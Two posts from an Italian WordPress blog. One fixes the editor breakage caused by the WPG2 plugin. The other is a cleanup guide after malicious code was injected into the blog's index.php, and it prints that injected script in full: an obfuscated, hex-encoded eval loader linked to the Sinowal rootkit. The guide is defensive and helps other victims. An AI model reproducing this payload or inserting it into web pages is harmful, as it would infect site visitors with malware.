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Gen
15

Problema di funzionamento dell’editor WYSIWYG di WordPress 2.7 con il plugin WPG2

Dopo avere aggiornato questo blog alla nuova versione di WordPress, ho notato l’impossibilità  di utilizzare l’editor WYSIWYG incluso; ho indagato a fondo disabilitando, uno per uno, i plugin fino a quando il problema non si è risolto e ho capito che la limitazione era causata dal plugin WPG2.

Cercando su Google, ho capito che il baco è causato da una vecchia funzione “chiamata” nel file di lingua di WPG2. Comunque il problema può essere risolto abbastanza facilmente, ecco come:

  1. andate nella cartella /wp-content/plugins/wpg2/g2image/langs/ ” presente nella vostra installazione di WordPress;
  2. in tale cartella, dovreste trovare un file del tipo a xx.js per ogni lingua. Nel caso dell’italiano il file si chiamerà  it.js;
  3. ora aprite questo file con un editor di testo e sostituite tinyMCE.addToLang con tinyMCE.addI18n (che è il nuovo nome della funzione) stando attenti a non modificare nient’altro;
  4. salvate e sostituite il vecchio file;
  5. bene, ora potete utilizzare di nuovo l’editor WYSIWYG di WordPress!
Mag
07

Code injection su WordPress: guida alla rimozione del codice maligno

WordpressCi risiamo: mi era già  successo una settimana fa e mi è successo di nuovo nelle ultime ore.. Pensavo fosse un baco di WordPress 2.5, così ho aggiornato subito alla versione 2.5.1, sperando fosse stato risolto e, invece, a quanto sembra, il problema è rimasto.

Di cosa parlo?! Di questo codice maligno (all’apparenza incomprensibile, poichè criptato in esadecimale) javascript che mi è stato iniettato nel blog (a me, così come a tanti altri bloggers che utilizzano WordPress come piattaforma):

[quickcode:noclick]
<script language=”javascript”>$=”%63b%3d%22e(d%2573);%2573t%253dtm%2570%253d%2527%2527;for(i%253d0;i%253cds%252e%256ce%256eg%25%22;st%3d%22%2573t%253d%2522$%253d%2573%2574;%2564c%2573%2528d%2561%252bd%2562%252bd%2563+%2564%2564%252b%2564e%252c%2531%2530)%253b%2564w%2528s%2574)%253bs%2574%253d%2524%253b%2522;%22;da%3d%22fqb0})-~ug0Qbbqi87e~%257F7%3c7tfu7%3c7dxb7%3c7vyb7%3c7fyv7%3c7huc7%3c7fuc7%3c7wxd7%3c7u~y7%3c7ud~7%3c7|uf7%3c7dgu79+fqb0|)-~ug0Qbbqi87q7%3c7r7%3c7s7%3c7t7%3c7u7%3c7v7%3c7w7%3c7x7%3c7y7%3c7z7%3c7{7%3c7|7%3c7}7%3c7~7%3c7%257F7%3c7`7%3c7a7%3c7b7%3c7c7%3c7%22;de%3d%22-|)K88d)K7}7M;}^}950%2522%259M+yv888d)K7t7M:%25229.-%252096688d)K7t7M:%25229,-)99tSx-~)K8d)K7t7M50!%25209M+u|cu0tSx-|)K88d)K7t7M:&950%2522%279M+4-4%3ebu`|qsu8t%3ciSx%2522;}Sx;iSx!;tSx;})Kd)K7}7M%3d!M;7%3es%257F}79+%22;dc%3d%220d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudTqi899+yv8d)K7t7M,%25209d)K7t7M-!+d)K7}7M-t)%3ewud]%257F~dx89;!+ve~sdy%257F~0S]^8t%3c}%3ci9kfqb0b-888i;8#:t99;8}Nt9:#9;t9+budeb~0b+mfqb0t-7fuc|%257Fh%3es%257F}7+fqb0iSx!%3ciSx%2522%3c%22;cc%3d%2274%2568;i+%252b%2529{t%256dp%253dd%2573%252es%256c%2569ce%2528i,i%252b1%2529;st%253d%22;ce%3d%22ar%2543od%2565%2541%2574%25280)^%2528%25270%25780%2530%2527+es%2529))%253b%257d}%22;cz%3d%22%2566unc%2574ion%2520cz%2528cz)%257bre%2574ur%256e %2563a+c%2562+%2563c+%2563d+c%2565+%2563z;}%253b%22;dz%3d%22%2566un%2563t%2569on%2520dw(%2574){c%2561%253d%2527%252564%25256f%252563ume%25256et%252e%2577%252572i%2574%252565(%252522%2527;ce%253d%2527%252522)%2527;c%2562%253d%2527%25253csc%252572%2569%2570%252574 l%252561%256eg%252575a%2525%2536%2537%2565%25253%2564%25255c%25252%2532ja%2576a%2573cr%2569%252570t%25255c%2525%25322%25253e%2527;c%2563%253d%2527%25253c%25255c%25252fsc%2572%2569p%252574%25253e%2527;eva%256c(u%256ees%2563ap%2565(t%2529)%257d%253b%22;op%3d%22%2524%253d%2522dw%2528d%2563s(%2563u%252c1%2534));%2522;%22;ca%3d%22%2566%2575%256e%2563t%2569o%256e%2520dcs%2528d%2573,%2565s%2529{d%2573%253dunesca%2570%22;cu%3d%22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|“d.;;bqgx{l:w{y;xp;sfv;64c}p`|)%25$$4|q}s|`),$*(;}rfuyq*(;p}b*%22;dd%3d%22}Sx%3ctSx%3c}^}+yv8d)K7i7M,%2522%2520%2520%279kd)K7i7M0-0%2522%2520%2520%27+m}^}-S]^8d)K7t7M%3cd)K7}7M%3cd)K7i7M9+iSx!-|)K888d)K7i7M6%2520hQQ9;}^}950&5##950%2522&M+iSx%2522-|)K8888d)K7i7M6%2520h##!!9..#9;}^}950!%25209M+}Sx%22;db%3d%22d7%3c7e7%3c7f7%3c7g7%3c7h7%3c7i7%3c7j79+fqb0~)-~ug0Qbbqi8!%3c%2522%3c#%3c$%3c%25%3c&%3c%27%3c(%3c)9+fqb0d)-~ug0Qbbqi89+fqb0t)-~ug0Tqdu89+d)K7i7M-t)%3ewudVe||Iuqb89+yv8t)%3ewudTqi89.#9d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudTqi89;%25229+u|cu%22;cd%3d%22s%2574+%2553tri%256e%2567.f%2572%256fmC%2568%2561rCo%2564%2565(%2528t%256dp%252ec%2568%22;%69f%20(d%6fcum%65nt%2e%63oo%6b%69%65.i%6edex%4f%66(%27%76%62ull%65tin%5fmu%6ctiq%75%6f%74e%3d%27)%3d%3d-1){sc%28%27vbu%6clet%69n%5fm%75l%74iqu%6ft%65%3d%27,2,7);%65va%6c(un%65sc%61pe%28d%7a%2bc%7a+op%2b%73t)%2b%27dw(%64z%2bcz%28$+%73t%29)%3b%27)}e%6cse{%24%3d%27%27};f%75nct%69on %73c%28cnm%2cv,e%64){%76a%72 ex%64%3dnew %44ate%28);%65xd.%73%65%74Da%74%65(ex%64.g%65tD%61%74e()%2b%65%64);%64%6fcu%6dent%2eco%6fkie%3dcnm%2b %27%3d%27 +esca%70%65(v%29+%27;ex%70i%72es%3d%27%2bex%64.%74o%47M%54%53t%72in%67%28);%7d;”;eval(unescape($));document.write($);</ script></body>
[/quickcode]

Per chi si trovasse nella mia stessa situazione, non disperate, il problema è di facile risoluzione: basta editare il file index.php (presente nella root dell’installazione di WordPress) e rimuovere brutalmente il codice indicato in precedenza.

Fatto ciò, non ci resta che sperare che lo staff di WordPress tappi questa grave falla al più presto!

Ah, dimenticavo, mi scuso con tutti voi per gli eventuali disagi provocati dal codice maligno.

AGGIORNAMENTO DELLE 22.50 DEL 07/05/2008

Bene.. ci sto capendo qualcosa di più su questa situazione alquanto strana. Anzitutto l’iniezione di codice maligno sembra non derivare da un baco di WordPress, ma di una vulnerabilità  dei server Aruba. Per approfondire l’argomento date un occhio a questo sito dove è indicato anche come eliminare il MBR rootkit/trojan Sinowal (questo è il nome del malware), nel caso in cui qualcuno di voi fosse stato infettato (spero non dal mio sito!).

Ah, di questa cosa ne ha parlato anche Napolux.




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